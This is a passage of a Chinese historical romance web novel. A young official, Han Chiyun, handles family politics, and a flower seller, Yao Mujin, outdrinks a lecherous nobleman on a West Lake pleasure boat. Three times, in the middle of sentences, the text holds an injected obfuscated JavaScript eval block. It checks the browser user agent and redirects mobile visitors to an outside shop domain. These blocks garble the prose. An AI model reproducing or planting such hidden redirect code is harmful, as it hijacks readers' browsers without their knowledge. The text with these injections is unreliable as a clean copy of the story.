“偶有书信往来。”韩迟云平静答道。 朱畦乃当世大儒,亦是韩迟云在国子监读书时的传道授业之师,可韩辙却对其厌恶非常。盖因昔年朱畦曾因韩辙乃外戚身份,担心青史上外戚专权之事重演,故而大力劝谏官家切勿重用韩辙。韩辙对此一直耿耿于怀。 三年前,韩辙命监察御史上书弹劾朱畦,说他宣扬伪学、欺世盗名,并将其打为“伪学魁首”。之后朱畦便被罢官,不得已只能去往建阳著书讲学。 韩迟云曾因此事而憋闷许久,一边是他的恩师,一边是将他养育成人的伯父,偏偏他们两个不对付,简直让人左右为难。 此刻韩辙听闻侄儿仍与那朱畦有书信往来,十分不满地冷哼一声:“那个老迂腐!” 韩迟云垂首侍立,没说话。 片刻后,韩辙颇为无奈地摆了摆手,道:“此人学问甚高,你若想向他请教学问,那便请教吧。” 韩迟云恭敬一拜:“多谢伯父成全。” 韩辙不想再提朱畦,遂又说回韩迟云的婚事:“伯父近来为你物色了一名女子,便是御史中丞温磐嫡女,小字丛琳。去岁上元佳节时,你曾与她见过一面,可还记得?” “侄儿记得。” “温家小娘子眼下正值摽梅之年,容貌秀丽,性子亦是娴淑,伯父瞧着与你十分相衬。你意下如何?” 韩迟云并不关心温丛琳相貌如何,也不关心她性情如何,既然伯父已经相中了她,那他只需娶回来待之以礼便是。 可是在想到温丛琳的父亲温磐的瞬间,他却禁不住拧了拧眉。 那温磐便是当日弹劾朱畦之人,亦是韩辙的左膀右臂。自将朱畦弹劾出朝堂,不过短短数年,温磐便由从七品监察御史一路升至御史台之首——从三品御史中丞,可谓官路亨通,平步青云。 韩温两家联姻,将温家女儿嫁给韩家子,如此一来,两家各取所需、各得其所,在家族则成休戚之势,在官场则为金汤之固,外人再无法撼动。 ——确实是一着妙棋。 韩迟云还是那句话:“但凭伯父做主。” 韩辙再次满意地颔首。他这个侄儿,三五岁便没了父母,被他接来教养膝下。大抵因为身世凄凉之故,从小就异常懂事,又兼勤奋好学,在国子监的时候便一直名列前茅,谁见了不夸一句“此子将来必大有所为”。 思至此,韩辙面带微笑地捏着下颌胡须,言道:“数日前在选德殿议事,说起你以鳌头独占之绩通过了吏部铨试,官家对此甚为欢悦。眼下你暂领宣议郎这一阶官,着实委屈。伯父想着,也是时候让你一展拳脚了。” 韩迟云俯身向韩辙礼道:“翌叩谢官家恩典,谢伯父栽培。” “你觉得閤门祗候如何?伯父昔年便是以閤门祗候的身份踏上仕途。此官主掌传宣、赞谒及侍卫班列,乃官家近臣。” 韩辙口中的閤门祗候一职,虽只是从八品,但因其与皇帝关系密切,遂被称为“进取之基、待任之地”。意思便是,这是块很好的踏板,踩着它必能青云直上。 可韩迟云却面露犹疑之色,良久,似终于下定决心道:“侄儿听闻签书节度判官厅公事一职正有出缺,侄儿属意于此。” 韩辙一愣,签书节度判官厅公事虽然也是从八品,但此职隶属于临安府衙,日常公务乃是处理琐碎凌乱的府政。 莫看这两个职位品秩相同,可实际上却差了十万八千里:一个是为皇帝陛下唱赞歌的近臣,一个是为百姓处理鸡毛蒜皮的幕职,二者相较,恐怕任何一个脑袋正常的人都会选择前者。 可韩迟云,他却偏要选后者。 “侄儿读书时最喜范文正公所言:先天下之忧而忧,后天下之乐而乐。恩师亦曾教诲,百姓乃国之根本。侄儿愿略尽绵薄之力,克己奉公,为百姓谋福祉。”韩迟云郑重地说。 韩辙沉着脸想了一会儿,罢了罢了,反正无论閤门祗候还是签书节度判官厅公事,都只是韩迟云仕途上的垫脚石而已,他在这位置上不会超过三个月,既然他愿意去处理百姓间的鸡毛蒜皮之事,那就让他去吃点苦头也好。 但韩辙没急着答应,他佯作疲惫地摆了摆手,道:“伯父再思量一二,你且先去吧。” 韩迟云行礼告退,从书房出来后却没回自己的院子,而是穿过垂花门,沿着廊道往府内一处僻静院落走去。 刚迈入院门,就见院内花架下一位梳着双鬟髻的女使惊喜叫道:“大官人可算来了!您再不来,我们今晚得提心吊胆一整夜咯。” “甘棠,阿竣怎么样了?”韩迟云步履不停,边走边问。 那位名唤甘棠的女使蹐步跟在韩迟云身后,语带委屈地答:“坐在屋里发呆呢,谁说话都不搭理。哄了几次让他睡,怎么哄都没用。” 说话功夫,二人已一前一后走进韩竣寝房,但见房内靠西墙铺着一张雕花牡丹围子床,一位大约十岁上下的小男孩,正面无表情地坐在床沿。看见有人走进来,他也没有任何反应。 韩迟云行至那男孩身边,刻意放低了声音,道:“阿竣,天黑了,该就寝了。” 男孩听到韩迟云的声音,动了动头,抬起眼睛看着面前的男人,看了好半天,终于启唇叫了一声:“哥……哥……你来了……” 他的眼睛很空洞,像是在看人,又像是透过面前的人,看向了十万八千里之外的虚茫。 韩迟云面带微笑,蹲下为男孩脱去鞋袜,和甘棠一起伺候着他躺好,又拉起衾被将孩子盖住。做完这些,原想将床幔放下,哪知刚直起身就被男孩拽住了衣摆。 “哥哥……不走……”韩竣说话有些困难,词句在唇舌上摔跤,几乎是一个字一个字往外吐。 韩迟云被扯住衣摆走不得,于是在床畔坐下,拿右手在韩竣身上轻轻拍着:“好,哥哥不走。” 韩竣松开了紧攥着韩迟云衣摆的手,但却仍用那双空洞茫然的眼睛盯着韩迟云看。 “阿竣,把眼睛闭上。”韩迟云柔声说。 韩竣听话地闭上了眼睛,韩迟云扭头低声问甘棠:“怎么没看到桃夭?” “桃夭和张妈妈都被夫人叫去问话了。夫人隔三差五就派人来唤我们去问话,问小官人吃了什么,喝了什么,穿了什么,玩了什么。”甘棠嘟嘟哝哝地说着,语气已有些哽咽,“明明是自己肚子里掉下来的一块肉,明明心里那么惦记,可夫人却不肯来亲眼看一看。小官人的病已经好了许多,他认得出我和桃夭,也认得出大官人。” 韩迟云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274026|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着韩竣平静睡去的容颜,在心底长长地叹了口气。 韩竣这病是自打出生就带着的,只不过彼时年岁太小,不大看得出来,后来年纪渐长,行为举止越来越奇怪,众人这才察觉不对。这么些年,请了无数郎中来瞧,都只说是痴症,至于能不能好,端看他造化。 自韩竣被诊断为痴症之后,孟夫人的天一下子就塌了半边。原想着趁年轻还能再生几个,可上苍却不肯眷顾,此后再无出。 她从来是个性子要强的女人,处事苛刻,不容许出任何岔子。谁知眼下最大的岔子竟然就出在她的亲儿子身上,这对她来讲,无疑是巨大的打击。 好在她并未被变故打倒,而是在痛苦和煎熬中,仍旧努力主持中馈,维持着内院的和睦与安稳。但她心里其实是怕的,她怕会有一个比她年轻也比她更有势力的女人出现,夺走她的权柄,将她彻底击垮。 思绪飘飘忽忽,再回过神来的时候,韩竣已经彻底睡熟。韩迟云起身,嘱咐甘棠好生照看孩子,而后便出了门。 门外夜色更浓了些,夏夜的风又轻又薄,纱一般拂过面颊,还未仔细感知便已无影无踪。 有小丫头提着一盏竹骨纱灯追出来,要为韩迟云照路。韩迟云却谢绝了她。他独自沿着这熟悉的黑夜,揣着一腔闷海愁山,一步步走回了自己那间院落。 夜里就寝之前,鱼丽打了两盆水来伺候韩迟云盥漱。她将布巾洗好,正要递给韩迟云,哪知一眼瞥见韩迟云衣领处,“噗嗤”一声就笑了出来。 “笑什么?”韩迟云被对方笑得莫名其妙。 鱼丽掩口拼命忍着笑意,回头冲屋外喊道:“小怜,去我屋里把那面菱花镜拿来,让咱们大官人自己瞧瞧好不好笑。” 名唤小怜的小丫头在门外答应了一声,不多会儿便捧着一面磨得锃亮的铜镜进屋。鱼丽接过铜镜杵在韩迟云面前,抬起手指在他脖颈处轻轻点了一下,道:“瞧这儿。” 韩迟云透过铜镜向鱼丽手指的位置看去,霎时面红耳赤,耳朵尖都红得似能滴出血来——他的脖颈上擦着一抹红痕,斜斜地划过肌肤,于衣领间若隐若现。那是女子唇脂留下的痕迹,非常劣质的唇脂,非常劣质的红色。 ——姚木槿的杰作。 韩迟云猛地一下将镜子塞回鱼丽手中,磕磕绊绊地说:“出、出去,出去。” “面还没擦完呢,做什么赶我走。难道官人打算留着这痕迹过夜不成?”鱼丽绷着笑,故作认真。 韩迟云夺过布巾,道:“我自己擦,你出去,你们都出去。” 说着话便将鱼丽和小怜全赶了出去,“砰”地一声关上房门,抓起布巾在脖颈处狠狠擦了一遍,擦完却仍觉浑身又躁又焦。 待到好不容易将诸般情绪都压了下去,韩迟云也没再唤女使来伺候,而是自己动手将一切收拾妥当,吹灭烛火,安稳睡下。 谁知躺在榻上之后,他却失眠了。 明明阖着眼睛,可眼前却清晰地出现了姚木槿噙着一抹顽皮笑容看过来的模样——唇角微扬,明璨的阳光绽放在她的眼里眉间,衬得那双眼睛又大又圆,鼻唇却小巧玲珑,像一场含苞待放的春梦。 她的笑容很美,却也很庸俗。庸俗的美,韩迟云不喜欢。 明明不喜欢,却又赶不走。姚木槿这个女人,爱财如命,没轻没重,还很厚脸皮,惹人心烦。 韩迟云躺在床上翻煎饼,翻来覆去睡不着。没奈何,只得披衣起身,将蜡烛重新点燃,拿起一本昔年朱畦校注的《大学》,一字一句读了起来。 “大学之道,在明明德,在亲民,在止于至善。” “古之欲明明德于天下者,先治其国。欲治其国者,先齐其家。欲齐其家者,先修其身。” “知至而后意诚,意诚而后心正,心正而后身修。” 修身、齐家、治国、平天下……这些修己安民的信条被他噙在唇齿间,咽至肺腑,令它们沿着血脉向四肢百骸奔涌。也不知过了多久,它们终于将那个庸俗的女人从他的脑海中挤了出去。 11.无耻 天刚蒙蒙亮,姚木槿便挑着花担子去了东马塍。 从东马塍到梅岗园,一路都是花田。生意大的卖花株,生意小的卖花枝。花株贵,花枝便宜。 花农们将还沾着晨露的花枝剪下,卖花娘子们挑着担子来收,如同收菜一般,挑中了就一枝一枝往担子里放。未防花枝枯萎,担子里还铺着薄薄一层花泥。 夏日已没了春天的桃夭杏艳,这时节主要卖的是紫薇、茉莉、栀子和睡莲。 卖花娘子做的都是小本买卖,装满一担花大约百文,每个人会装两个花担,成本约二百文。 挑好之后,将紫薇花削去旁枝杂叶,扎成花束,一束八文钱;茉莉和栀子可以摘下来做成小花串,可以卖五文钱一串;蓝色的睡莲唤作“蓝莲花”,前朝李唐时候由勿斯里国传入,这就卖得贵些,一枝蓝莲花可卖三十文左右。(注释1) 姚木槿手脚麻利,很快就将自己的花担子装好,向花农付了钱后,她便挑起担子往西湖行去。她今天不打算进城了,打算沿湖往保俶塔的方向走,一路走一路卖花。 平日里姚木槿很少到西湖这边来,只因街道司不允许小商贩们在西湖边随意摆摊。若是遇到司兵巡查,必然要与之斗智斗勇,斗输了就得罚一大笔钱,简直赔了夫人又折兵。 但今天不一样,今天是朝廷开酒库的日子。 本朝无论仕宦布衣,皆喜爱饮酒。临安府有十三所酒库,在每年夏初和秋初的特定日子,酒库会将本年新酒的名号写在酒招子上,并挑着酒招沿街巡游,意图告知百姓们——好酒已上市,诸位赶紧来喝。 每逢开酒库之日,西子湖畔就热闹得像过节一样,估摸着根本等不到街道司的司兵来抓,就能把花全部卖掉。 姚木槿美滋滋地盘算着:早早卖完花,先去防隅官屋看看三哥;然后去慧光庵进香许愿,求观音菩萨保佑顾沾沾母子平安,保佑三哥赶紧娶妻,保佑自己早日攒够钱,可以带着二哥的骨灰一同归乡。(注释2) “卖花咯——” “茉莉五文,紫薇八文,蓝莲花三十文——” 挑着花担子一路吆喝一路走,行至断桥附近的时候已经卖出不少。时有郎君买下一束紫薇赠予自家娘子,亦有父母为身旁活泼可爱的孩子买一串茉莉戴上发髻。 姚木槿在桥畔寻了一处空地,放下担子喘口气,而后便迎着夏日湖风,唱起了卖花娘子们最爱的那支《减字木兰花》。 “卖花担上,买得一枝春欲放。泪染轻匀,犹带彤霞晓露痕。”(注释3) 她的嗓音又脆又清澈,似黄莺唧啾,极其悦耳。忆及昔年在慈幼局,正是因为她唱歌好听,这才得了“小啾”这一诨名。 边唱歌边应付着来来往往的买花人,很快,花担子上价钱便宜的茉莉、栀子和紫薇便所剩无几,唯有价格略高的蓝莲花,倒还余下不少。 姚木槿看着担子里剩下的蓝莲花,不禁有些发愁。虽然早就知道这种价高的花不好卖,但今早她却还是被这抹清贵的蓝色迷住双眼,糊里糊涂就动了心,孰料现在可好……唉,果然心动都是要付出代价的,这些蓝莲花,十有八九是要砸手里了。 叹了口气,正思量着要不要贱卖的时候,姚木槿一抬头,这便瞧见原本逡巡于湖光之中的一艘画舫,此刻正慢慢地向自己这边靠近。 那画舫绘彩染金,极其华贵。舫有二层,一层乃饮酒作乐之所,二层是一间小阁,可供稍歇。 “卖花娘子,我们官人请你上船来。”有仆役站在船头冲姚木槿大声说。 姚木槿笑着摇头,又指了指自己的花担子,意思是:她只卖花,不陪酒。 那仆役又道:“你的花,我们官人全要了!我们官人与娘子相识,今日恰好遇见,便想请娘子共饮两杯新酿,并无他意。” 姚木槿微怔——与她相识?是何人? 她在脑海中飞速回想了一遍,她所熟识者大抵皆是慈幼局出身的三教九流,也没听说他们中有哪个人飞黄腾达了,能赁得起这样华丽的游湖画舫。 但此人的言说也确实勾起了姚木槿的好奇,很想知道画舫里想请她同饮的官人究竟是谁,说不准真是哪个一起长大的苦孩子走了狗屎运。况且那人还说要将她的花全部买去,顶好的事,她不能不去瞧瞧。 于是姚木槿颔首应道:“多谢你们官人。” 画舫靠岸,姚木槿被船工扶着上了船。将花担子放在甲板上,她这便掀开眼前重重青绫帘幔走入舫内,不料一进去就看见了自己最不想看见的人——周恒。 舫中摆着一张食案,案上好酒好菜齐备,周恒身着华贵绫罗,鬓边斜簪一枝象生花,懒洋洋地倚在案前。他身后靠窗的位置坐着两名怀抱琵琶的歌女,左手坐着两位身穿白襕衫的文士,右手的上位却空着。 见姚木槿进来,周恒立刻举起手中酒盏,笑道:“木槿妹妹,小生这厢有礼了。” 姚木槿二话不说,转身就想下船。孰料还未掀开幔帐,便被立在舱外的仆役伸臂拦住了去路。 “妹妹莫急走啊。我与妹妹许久未见,今日饮湖上之际,望见妹妹在岸边卖花,实在有缘,遂邀妹妹上船小酌两杯薄酒,还望妹妹莫怪。” 周恒笑嘻嘻地说着,边说边站起身,晃着手中酒盏,往姚木槿这边缓步行来。 姚木槿咽下心头厌恶,伶牙俐齿地刻薄道:“周官人不在家中认真读书,还有心情在这儿饮酒作乐呢?当心下回的吏部铨试仍过不了,那可丢死人咯。” 顾沾沾曾对姚木槿说过,周恒原本可以仰仗家族门荫出仕,只可惜铨试未过,至今仍是白身。 本朝自仁宗时便定下规矩,所有推恩荫补的官员,必须通过铨试;铨试未过者,不得破格授官。可笑这周恒不学无术,次次都被卡在铨试这里,纵有门荫也无法入朝,实在是个草包。 周恒听姚木槿公然揭他的短,面色一沉,但又很快恢复至皮笑肉不笑模样,啧啧地说:“妹妹这张巧嘴儿,端的是厉害。这么伶俐的一张嘴,不知噙着嘬一嘬,会是什么滋味。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285149|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚木槿登时冷下脸,骂道:“无耻东西。真是大蟾蜍扮青蛙——遍身膈应藏都藏不下。” 周恒不提防被她这样一骂,面子上彻底挂不住,刚要发怒,却听身后那两位文士其中一人开口劝道: “业久,你好好的非要招惹人家卖花娘子作甚?等会儿被他知道了,又要不欢而散。咱们今日好不容易请他出来,原是有求于人,莫要做那任性使气之事。”说话间,此人竖起食指向二楼指了指。 周恒下意识抬头往楼上扫一眼,瞬间没了气势,悻悻道:“罢了罢了,他是救苦救难的观世音菩萨,我惹不起。……木槿妹妹骂得好,鄙人先给妹妹赔个不是。我因着妹妹的冷声冷眼,心都快碎了,还管什么耻与不耻。” 姚木槿听他们如此说,这才意识到,原来这画舫内还有一人。怪不得筵席的上位空着,想来应是那人之座,只不知他因何离席去了二楼。 却听周恒继续怨道:“妹妹牙尖齿利,不仅把我说得不堪,前两天还把我那浑家骂得哑口无言。鄙人实在佩服。” 姚木槿微怔:“你竟知晓此事?” 周恒冷笑一声:“我那浑家被妹妹骂了个大红脸,回到家中好一通哭嚷。妹妹说得好,欺软怕硬的都是奸贼。她大抵是不想做奸贼,对我是又掐又闹。拜妹妹所赐,我可是哄了足足三日才把人哄住。妹妹少不得共我满饮此杯,就当是赔罪了。” “放屁!”姚木槿啐道,“谁要赔你的罪!” 话毕,她再次转身往舫外行去。打定主意哪怕今日把这些蓝莲花全扔湖里,她也绝不会卖给周恒这个恶心玩意儿。 “沾沾有了身孕,想雇个女使伺候她,我寻思着这事也不是不能办……”周恒在姚木槿身后凉嗖嗖地开口。 姚木槿离去的脚步倏然顿住,回身问道:“你想如何?” 周恒心知顾沾沾是姚木槿的软肋,原本只是略作试探,现见姚木槿果然上钩,不禁又嬉皮笑脸起来。 但见他抬手指着船舱内一排尚未开封的酒坛,得意道:“今日恰逢朝廷开酒库,我托人赶早弄了几坛好酒来尝鲜。此乃御库名酒‘琥珀光’,妹妹往日在街市,想喝都喝不到呢。相逢即是缘,妹妹且坐下陪我等痛饮几杯,若是将我们哄高兴了,什么女使婆子的,自然不在话下。” 姚木槿瞥了一眼那些酒坛,乃是一坛一升的花釉小瓷坛。但她从未喝过“琥珀光”,不知这酒的后劲如何,心头难免有些忐忑。 她这边还在思量,那边周恒却不耐烦地催促道:“怎么?没胆?我还以为木槿妹妹是女中豪杰,却原来也不过如此。至于沾沾的女使,呵……” 姚木槿被周恒这么一激,霎时再顾不得其他,转身走回船舱内,直接就在周恒右边空着的上位落座,扬声道:“好!今日奴家便陪周官人喝个尽兴。” 周恒听她这样说,喜得一迭声唤人开坛倒酒,又命歌女有什么好听的曲儿尽管唱来。之后便坐于姚木槿身边,拿一双贼溜溜的眼睛看着她,面上亦浮起一抹不怀好意的奸笑。 12.奇葩 韩迟云刚从二层小阁下来,尚未走进中舱,就听得里面传出阵阵歌声、笑声,间或还夹杂着一两句詈斥,端的是喧阗不休。 他撩开帘幔,入眼便是一位身着粗布衣裙的女人,背对着他,大咧咧地把一只脚踩在官帽椅上,手里举着一盏“琥珀光”,高声喊着:“喝!给我喝!不喝不是男人!” 再往席间看去,只见崔岐山和陆泽皆已醉成一滩烂泥,惟有周恒还清醒着,却也喝得脸红脖子粗,大着舌头叫道:“不喝了,不喝了。妹妹……妹妹着实好酒量……实乃女中豪杰!” 瞧见韩迟云掀帘入内,周恒立刻指着姚木槿喊道:“迟云快来……快来认识认识,天底下最妙的妙人儿……” 听得周恒口中言出“迟云”二字,姚木槿“唰”地一下回头看去,这便瞧见韩迟云负手站在门边,眉心紧蹙,一言不发。 姚木槿被韩迟云这样看着,突然就不自在起来,讪讪地放下手中酒盏,笑道:“原来韩官人也在这儿。” 韩迟云缓步近前,指着地上瘫着的、桌上趴着的,问:“都是你喝倒的?” “对!”姚木槿答得干脆利落,眼中还闪烁着一抹得意的光。 韩迟云差点一口气没喘上来,只觉自己这三五日真是一次又一次开眼了——这女人究竟是怎么做到见一次就让他震惊一次的?简直“奇人”一个。 他活了二十几年,第一次见到如此令人难以言说的“奇人”。 “迟云,迟云你是不知道,木槿妹妹……嗝……妹妹的酒量深不可测!你快和她喝、喝两杯!”周恒打着酒嗝嚷嚷道。 韩迟云抽了抽唇角,语气古怪地重复道:“木槿妹妹……?” 周恒却没意识到韩迟云面上这些微妙的变化,粗声大气地炫耀:“不瞒你说,我与木槿妹妹是老相识,我俩十分要好……快,你快和她喝两杯!” 说着话,他将一盏盛满“琥珀光”的酒盏塞进韩迟云手中。 韩迟云捏着酒盏,却没搭理周恒,也没喝酒,而是眯起眼睛审视着几步开外的姚木槿,问道:“姚娘子,人怎么能水性杨花至如此地步?” 话语凉嗖嗖的,被窗外吹进的湖风裹挟着,明明是初夏的正午,却冷得人浑身一哆嗦。 姚木槿突然意识到韩迟云也许是误会了什么,正要开口解释,不料却又被周恒打断。 那周恒已经醉得脚步趔趄,但他却与崔岐山等人不同,人家是醉了就睡,他是越醉越兴奋,越醉越不要脸。只见他一把扯住韩迟云衣袖,眯着一双色蒙蒙的眼睛,道: “我有个外室,你晓得吧?木槿妹妹就是我那外室的阿姊。实话跟你说,我打算、打算把木槿妹妹也收作外室,到时候让两姊妹一起伺候我。迟云,你想想,那得多舒服。” 话音未落,韩迟云的面色刹然一片冷白。 可还未等他作何反应,姚木槿那边已是一碗冷酒当头泼来,直泼得周恒鬼咤狼嚎。韩迟云嫌弃地一甩衣袖,周恒吃不住力,踉跄后退着跌坐在地,只来得及叫了声“哎唷”,这便瘫在地上彻底醉去。 姚木槿顾不得韩迟云还在一旁,拎起裙摆冲上前,抬脚便往周恒已如一滩烂泥的身上踢去,边踢边骂:“放你爹的葫芦屁!谁跟你妹妹长妹妹短。要不是看在沾沾的面子上,我把你扔西湖里做醋鱼!” 韩迟云将手中那盏“琥珀光”泼向窗外,转身坐下,冷眼看着姚木槿对周恒拳打脚踢。片刻后,忽然开口问道:“这回你又收了多少钱?” 姚木槿停下动作,不解地望向韩迟云。 “你不会做赔本的买卖。既然愿意陪他饮酒,必然是收了他的好处。”话语凉薄,嗓音却低沉,让人一时分辨不清究竟是讥还是厌。 姚木槿倒是不计较这些,大大方方答道:“我妹妹怀孕了,我陪他喝酒,他答应给我妹妹雇个女使。” 听闻此语,韩迟云面色稍霁。也不知怎得,忽然就想起二人初见之时,巷子里的男人打老婆,她一个小寡妇,偏要拎着扫帚与人打抱不平。 “你倒是很会为旁人着想。”韩迟云轻声说。 “什么?”他声音太轻,姚木槿没听清。 “没什么。” 姚木槿整理了一下自己略显凌乱的衣裙,向韩迟云拜了个万福,道:“奴家不晓得韩官人也在船上,适才鲁莽,惊扰了官人,还望官人莫与奴家计较。” 韩迟云摆了摆手,意思是“无妨”,眼睛却以极快的速度将案上已经喝空的花釉瓷坛扫了一遍,不多不少,正好十坛,遂忍不住感慨:“四个人喝了十坛酒,三个倒了,唯独你还站着。你的酒量怎得如此好?” 姚木槿粲然一笑:“奴家也不晓得,大概是天生的。慈幼局出来的那些兄弟姊妹,没一个喝得过我。” 可惜话还没说完,一阵凉风吹过,忽然便觉头晕腿软,赶紧扶住桌案,这才将将站稳。姚木槿在心底暗叫一声不妙——酒劲儿上来了,看来这“琥珀光”确实后力不小,得赶紧回去躺着,可别醉倒街头才好。 她哀哀地叹了口气,默算一遍今日营收,发现眼下竟然连本钱都还没赚回来。若是那些蓝莲花卖不出去,今天就真是亏本亏到姥姥家了。 可转念一想,周恒答应喝高兴了就给沾沾雇女使,她喝赢了周恒,如此说来,沾沾终于要有女使了——想到这里,瞬间又开心起来。 “请韩官人让画舫靠岸,奴家这便下船。” 韩迟云却问了个很奇怪的问题:“下船做什么?” 姚木槿感觉自己的舌头已经有点打结,于是缓慢地说:“下船……去卖花。” 韩迟云轻嗤:“醉成这样,还怎么卖花。” 姚木槿揉了揉太阳穴,苦笑道:“都怪奴家贪图美色,花大价钱弄了一担子中看不中卖的清贵花……若是卖不出去,奴家便只能寻个没人的角落……哭去了。” 话毕,正要走,却听韩迟云道:“我买了。” “真的?!!” 姚木槿满脸欢悦地看向韩迟云,腿也不软了,舌头也不打结了,喜得一双眼睛弯成月牙儿:“果真全买了么?莫诓我。” “什么花?”韩迟云问她。 “蓝莲花。你等着,我去拿给你。”说完也不等韩迟云答应,这便踉踉跄跄地上甲板寻她的花担子去了。 韩迟云一个人坐在船舱里,四下看去,但见满桌杯盘狼藉,十个酒坛子东倒西歪,可见刚才经历了一场极没规矩的宴饮。 此刻,周恒仍像头死猪一样瘫在地上,崔岐山和陆泽也是一个趴在桌上一个倒在椅上,皆醉得不省人事;至于那两位怀抱琵琶的歌女,则是缩在船舱角落里,眼观鼻鼻观心,仿佛不存在一般。 韩迟云蹙着眉头,抬手在眉心揉了揉。 等了大约一盏茶的功夫,姚木槿捧着一大束蓝莲花走了进来。 那贵不可言的蓝色,仿佛一眼望见诸天神佛对众生的慈悲与惩戒。可惩戒并非苦痛,而是烫的、甜的、诱惑的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289388|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>犹记佛说无量寿经言:荡除心垢,清明澄洁,无深不照。 又似初冬寒夜,人在琼林玉树之间,掬起一抔洁雪,借着月辉细瞧那雪色——蓝是幽魅,白是清傲,蓝白相交,美至心颤。 “六十文钱一枝,此处有二十支,拢共是……一千二百文。”姚木槿笑眯眯地说,表情十分谄媚。 “好,”韩迟云应道,“马车停在岸边,上岸给你。” 姚木槿上前几步,将蓝莲花一股脑塞进韩迟云怀里,突然说:“真像。” 韩迟云不明所以,姚木槿没等他发问便口齿不清地解释道:“我说真像,便是说……这蓝莲花和你真像,都很美……好看……喜欢看。” ——又调戏他! 韩迟云神色一凛,刚想出言斥责,却见面前这女子眉眼饧涩,面颊绯红,站都站不稳。心知她这是醉意上头以至口不择言,于是只得暗叹一声,将斥责的话语咽了回去。 “你醉了,今日便不与你计较,但下不为例。”韩迟云板着脸,正襟危坐,却不提防面上飞起一抹红霞。 哪知姚木槿却越来越过分,凑到他身边左看右看,看了半晌,突然赌气一般问道:“你去小阁做什么?” 听她这语气,不像是卖花女与贵公子偶然相逢,倒像是家中娘子因着夫君回来迟了,堵在门口质问,不说清楚不许进门。 “我晕船,去楼上歇息。”韩迟云答她。 “哈?!”姚木槿原本迷迷糊糊的眼睛猛然睁大,“这是西湖!你在西湖晕船?!” “对,我晕船。”韩迟云答得一本正经。 姚木槿扭头往窗外看了一眼,但见窗外湖光潋滟,水平波静。竟有人能在这种地方晕船,说不得,这也是奇人一个。 “你骗我么?” “没骗你。” “现在不晕了么?” “歇了一会儿,好多了。” “可是……我晕……我的头好晕……” 姚木槿说着话就想往地下坐,韩迟云一个箭步上前扶住,又拉着她让她在官帽椅上坐好,而后扬声唤道:“船娘。” “来了——”在船后负责烧茶摆果子的船娘听到喊声赶忙过来,“官人何事?” “端一碗醒酒汤。” “官人稍等,马上就来。”船娘答应着去了。 这画舫是专供富家子弟们宴饮玩乐的地方,船上不仅有茶酒果子与琵琶歌女,甚至就连醒酒汤、痰盂、溺桶、布巾、小榻等诸物,亦是齐备的。 待船娘端来醒酒汤,伺候着姚木槿喝下,韩迟云便吩咐船工,让画舫靠岸。 “官人,咱们眼下在雷峰塔,要到钱塘门上船亭才能靠岸,还得许多功夫呢。奴瞧着官人脸色不大好,不知是否身体不适,倒不如与娘子一起上小阁暂歇。”船娘劝道。 韩迟云却摇了摇头:“你送她上楼歇着,我在这里略坐一坐便罢。” 船娘应了一声,招呼着那两位歌女,三个人一起将醉眼朦胧、双腿发软的姚木槿送至二楼小阁安置。 小阁四面皆雕花围木,其上悬挂绫帘,内中铺着一张贵妃榻,想来刚才韩迟云便是在此处休息。 姚木槿躺在这张韩迟云躺过的榻上,想到自己今天不仅把花全卖了出去,还从韩迟云那儿平白坑了六百文钱,简直别提有多高兴。 “真好骗啊……韩迟云……是个大傻瓜……”姚木槿闭着眼睛小声嘟哝着,心底却有温柔的细蕊,正迎着湖风缓缓发芽。 13.家乡 大约未时三刻,画舫泊于钱塘门上船亭,船上诸人依次弃舟登岸。 候在上船亭旁的仆役们上前扶着自家公子哥儿,上车的上车,上轿的上轿。 姚木槿喝了醒酒汤,又在贵妃榻上小憩片刻,这会儿精神好了许多。眼见此地距黑羊巷并不远,本想自己挑着担子走回去,不料却被韩迟云拦住。 “给姚娘子雇顶轿子。杕杜,你挑着花担送她回去。”说完这些,韩迟云转身上了相府马车。 那个名唤杕杜的随侍依照韩迟云的吩咐,给姚木槿雇了顶轿子,又挑起她的花担,将她一路送回黑羊巷。及至巷口,姚木槿喊停轿夫,并与诸人逐一道谢,这便接过担子,余下几步路打算自己走进去。 黑羊巷虽是陋巷,但风景颇佳。因其紧挨清湖堰,故而巷道间有一条小河潺湲淌过。民居沿河而建,一边是房屋,一边是河流,中间一条青石板路,跫音伴着流水,澹荡而惬意。 姚木槿挑着花担悠然行去,远远便瞧见自家门前站着一个男人。 那男人打着赤膊,正挥动一把斧头劈柴,神情专注,双耳不闻杂音。他身材遒劲,皮肤呈麦色,劈柴的动作也极有韵律。随着斧头起落,身上结实的筋肉亦随着动作而起伏。 